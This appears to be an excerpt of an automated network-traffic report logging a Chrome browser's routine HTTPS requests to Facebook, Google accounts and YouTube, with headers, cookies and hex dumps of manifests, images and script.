2024-01-17 23:35:00 UTC	2361	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:00 UTC	415	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 30 31 20 4a 61 6e 20 32 30 30 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 6f 72 69 67 69 6e 2d 61 67 65 6e 74 2d 63 6c 75 73 74 65 72 3a 20 3f 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 3b 20 70 72 65 6c 6f 61 64 0d 0a 58 2d 46 42 2d 44 65 62 75 67 3a 20 46 2f 43 50 74 59 43 35 62 6d 31 77 54 57 30 6d 48 68 56 62 35 7a 43 54 6b 58 76 58 68 74 51 68 48 57 49 59 53 77 77 44 31 4f 69 35 59 2b Data Ascii: Expires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYorigin-agent-cluster: ?0Strict-Transport-Security: max-age=15552000; preloadX-FB-Debug: F/CPtYC5bm1wTW0mHhVb5zCTkXvXhtQhHWIYSwwD1Oi5Y+
2024-01-17 23:35:00 UTC	1119	IN	Data Raw: 34 61 66 0d 0a 7b 22 67 63 6d 5f 73 65 6e 64 65 72 5f 69 64 22 3a 22 31 35 30 35 37 38 31 34 33 35 34 22 2c 22 67 63 6d 5f 75 73 65 72 5f 76 69 73 69 62 6c 65 5f 6f 6e 6c 79 22 3a 74 72 75 65 2c 22 65 64 67 65 5f 73 69 64 65 5f 70 61 6e 65 6c 22 3a 7b 22 70 72 65 66 65 72 72 65 64 5f 77 69 64 74 68 22 3a 33 37 36 7d 2c 22 73 68 6f 72 74 5f 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 6e 61 6d 65 22 3a 22 46 61 63 65 62 6f 6f 6b 22 2c 22 73 74 61 72 74 5f 75 72 6c 22 3a 22 5c 2f 3f 72 65 66 3d 68 6f 6d 65 73 63 72 65 65 6e 70 77 61 22 2c 22 64 69 73 70 6c 61 79 22 3a 22 6d 69 6e 69 6d 61 6c 2d 75 69 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 22 23 46 46 46 46 46 46 22 2c 22 74 68 65 6d 65 5f 63 6f 6c 6f 72 22 3a 22 23 31 38 37 Data Ascii: 4af{"gcm_sender_id":"15057814354","gcm_user_visible_only":true,"edge_side_panel":{"preferred_width":376},"short_name":"Facebook","name":"Facebook","start_url":"\/?ref=homescreenpwa","display":"minimal-ui","background_color":"#FFFFFF","theme_color":"#187
2024-01-17 23:35:00 UTC	92	IN	Data Raw: 7d 2c 7b 22 70 6c 61 74 66 6f 72 6d 22 3a 22 70 6c 61 79 22 2c 22 69 64 22 3a 22 63 6f 6d 2e 66 61 63 65 62 6f 6f 6b 2e 6d 6c 69 74 65 22 7d 5d 2c 22 70 72 65 66 65 72 5f 72 65 6c 61 74 65 64 5f 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: },{"platform":"play","id":"com.facebook.mlite"}],"prefer_related_applications":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49878	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:00 UTC	611	OUT	GET /rsrc.php/v3/y0/r/eFZD1KABzRA.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:01 UTC	1188	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ZFLtdcU+Go6QpmTfGJWakA== Expires: Fri, 10 Jan 2025 20:35:36 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: origin-agent-cluster: ?0 X-FB-Debug: T04cyGGNjqwxVfOcuADq0Ix2YO1EmnZuj5Uu6EHNrPA5IFZ/BLVVNeag8KEuxTj+gG0SrN4QGD0gD/EVShc8jg== Date: Wed, 17 Jan 2024 23:35:00 GMT Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2106
2024-01-17 23:35:01 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-01-17 23:35:01 UTC	2105	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 03 00 00 00 65 02 9c 35 00 00 01 59 50 4c 54 45 47 70 4c 05 65 ff 08 65 ff 07 65 ff 10 70 ff 07 65 ff 08 66 ff 08 66 ff 08 68 ff 08 66 ff 07 66 ff 00 60 ff 10 60 ff ff ff ff 08 67 ff 07 66 ff 08 66 ff 08 67 ff 08 67 ff 08 66 ff 08 66 ff 08 66 ff 08 67 ff 07 66 ff 08 68 ff 09 65 ff 08 66 ff 08 64 ff 09 67 ff 07 65 ff 07 65 ff 06 63 ff 0a 66 ff 07 66 ff 08 65 ff 07 66 ff 09 67 ff 06 67 ff 08 65 ff 08 66 ff 08 66 ff ff ff ff ff ff ff 08 69 ff 08 68 ff 07 65 ff 09 66 ff 07 66 ff ff ff ff 0b 65 ff ff ff ff ff ff ff 07 65 ff 07 67 ff 07 66 ff 07 66 ff 0a 66 ff 09 66 ff 07 66 ff 09 66 ff 07 67 ff ff ff ff ff ff ff 06 66 ff 08 65 ff 07 65 ff ff ff ff 87 b7 ff 46 8c ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDRe5YPLTEGpLeeepeffhff``gffggfffgfhefdgeecffefggeffiheffeegffffffgfeeF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49881	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	1476	OUT	GET /generate_204?ND_aIw HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:5-VqxJMLVh1Z_yvAADCgON_4YNkrEw:2Sz4ABSfAkPCYE7F
2024-01-17 23:35:01 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:35:01 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49879	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	1197	OUT	GET /s/desktop/80338919/img/favicon.ico HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; PREF=tz=Europe.Zurich
2024-01-17 23:35:01 UTC	675	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 1150 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:14 GMT Expires: Thu, 16 Jan 2025 15:32:14 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 28967 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:01 UTC	577	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 12 0b 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 00 00 ff 10 00 00 ff 40 00 00 ff 40 00 00 ff 70 00 00 ff 80 00 00 ff 80 00 00 ff 80 00 00 ff 80 00 00 ff 80 00 00 ff 40 00 00 ff 40 00 00 ff 10 ff ff ff 00 ff ff ff 00 ff Data Ascii: h( @@p@@
2024-01-17 23:35:01 UTC	573	IN	Data Raw: 80 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff ff ff ff ff ff ff ff ff b0 b0 ff ff 20 20 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff 80 00 00 ff 80 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff e0 e0 ff ff 40 40 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff 80 00 00 ff 50 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff 60 00 00 ff 30 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff ff 00 00 ff 30 ff ff Data Ascii: @@P`00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49880	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	359	OUT	GET /opensearch?locale=en_US HTTP/1.1 Host: www.youtube.com Connection: keep-alive Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:01 UTC	3612	IN	HTTP/1.1 200 OK Content-Type: application/opensearchdescription+xml; charset=utf-8 X-Content-Type-Options: nosniff Expires: Wed, 17 Jan 2024 23:35:01 GMT Date: Wed, 17 Jan 2024 23:35:01 GMT Cache-Control: private, max-age=31536000 Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=ryY2aPB-QmM; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=UyPFmI-0d24; Domain=.youtube.com; Expires=Mon, 15-Jul-2024 23:35:01 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgXA%3D%3D; Domain=.youtube.com; Expires=Mon, 15-Jul-2024 23:35:01 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:01 GMT; Path=/; Secure; HttpOnly Set-Cookie: CONSENT=PENDING+154; expires=Fri, 16-Jan-2026 23:35:01 GMT; path=/; domain=.youtube.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:01 UTC	547	IN	Data Raw: 32 31 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 4f 70 65 6e 53 65 61 72 63 68 44 65 73 63 72 69 70 74 69 6f 6e 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 2f 31 2e 31 2f 22 3e 3c 53 68 6f 72 74 4e 61 6d 65 3e 59 6f 75 54 75 62 65 3c 2f 53 68 6f 72 74 4e 61 6d 65 3e 3c 44 65 73 63 72 69 70 74 69 6f 6e 3e 53 65 61 72 63 68 20 66 6f 72 20 76 69 64 65 6f 73 20 6f 6e 20 59 6f 75 54 75 62 65 3c 2f 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 54 61 67 73 3e 79 6f 75 74 75 62 65 20 76 69 64 65 6f 3c 2f 54 61 67 73 3e 3c 49 6d 61 67 65 20 68 65 69 67 68 74 3d 22 31 36 22 20 77 69 64 74 68 3d 22 31 36 22 20 74 79 70 Data Ascii: 21c<?xml version="1.0" encoding="UTF-8"?><OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"><ShortName>YouTube</ShortName><Description>Search for videos on YouTube</Description><Tags>youtube video</Tags><Image height="16" width="16" typ
2024-01-17 23:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49885	142.251.35.174	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	1211	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=777201792&timestamp=1705534500346 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:01 UTC	1682	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WI-Ve2hpAqWme-cljo8lPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:01 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 37 36 36 66 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 57 49 2d 56 65 32 68 70 41 71 57 6d 65 2d 63 6c 6a 6f 38 6c 50 67 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 Data Ascii: 766f<html><head><script nonce="WI-Ve2hpAqWme-cljo8lPg">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){("unde
2024-01-17 23:35:01 UTC	1682	IN	Data Raw: 61 29 7b 69 66 28 66 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 22 37 2e 30 22 3d 3d 63 5b 31 5d 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 Data Ascii: a){if(fa())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),"7.0"==c[1])if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;ca
